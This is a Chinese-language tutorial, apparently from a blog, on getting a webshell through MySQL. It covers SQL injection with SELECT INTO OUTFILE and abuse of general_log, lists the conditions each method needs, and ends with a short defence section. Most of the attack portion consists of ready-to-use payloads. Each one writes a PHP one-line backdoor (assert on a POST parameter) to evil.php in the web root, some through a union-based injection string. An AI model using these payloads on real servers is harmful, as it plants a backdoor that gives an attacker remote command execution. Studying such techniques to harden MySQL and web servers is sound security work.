两种常规方法利用 MySQL getshell 的方法:

select … into outfile
general_log

一、select … into outfile 介绍

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv
姿势:

有 union
id=) union select ,,,,,,,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23 无 union
id=) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%

其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话

二、general_log 介绍

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
需要能执行多行sql语句
姿势:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error

Error Code: . Variable 'secure_file_priv' is a read only

三、防御姿势

设置 secure_file_prive = null (不允许导入和导出)

防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

最新文章

  1. 003.安装nginx(lnmp)
  2. QImage::drawRect 和 fillRect在处理大面积区域时代价高昂
  3. [LeetCode] Number of Islands II
  4. python any()和all()用法
  5. 三、Android NDK编程预备之Java jni入门创建C/C++共享库
  6. 搭建hbase-0.94.26集群环境
  7. Oracle EBS-SQL (PO-8):检查有供货比例无采购员.sql
  8. spring beans源码解读之--总结篇
  9. CSS3扁平化Loading动画特效
  10. Ubuntu16.04.1 安装Nginx
  11. 基于python的Selenium使用小结
  12. tomcat 与 nginx,apache的区别
  13. [转]SpringMVC+ Mybatis 配置多数据源 + 手动切换数据源
  14. Spark 论文篇-论文中英语单词集
  15. 命令提示符没办法登录MySQL
  16. npm run build出问题十分通用的解决方法
  17. Android-Kotlin-具名参数
  18. clientX, clientY,offsetX, offsetY,screenX, screenY, x, y
  19. class和struct
  20. 线上Bug修复流程

热门文章

  1. MockBean 单元测试
  2. Java第二次作业第一题
  3. Elastic Stack 笔记(十)Elasticsearch5.6 For Hadoop
  4. cython的安装
  5. 第二次实验报告:使用Packet Tracer分析应用层协议
  6. Linux 修改 ls 时间显示格式
  7. Mach-O在内存中符号表地址、字符串表地址的计算
  8. 在vue中使用[provide/inject]实现页面reload
  9. 死磕 java同步系列之mysql分布式锁
  10. linux查看cpu核数和内存指令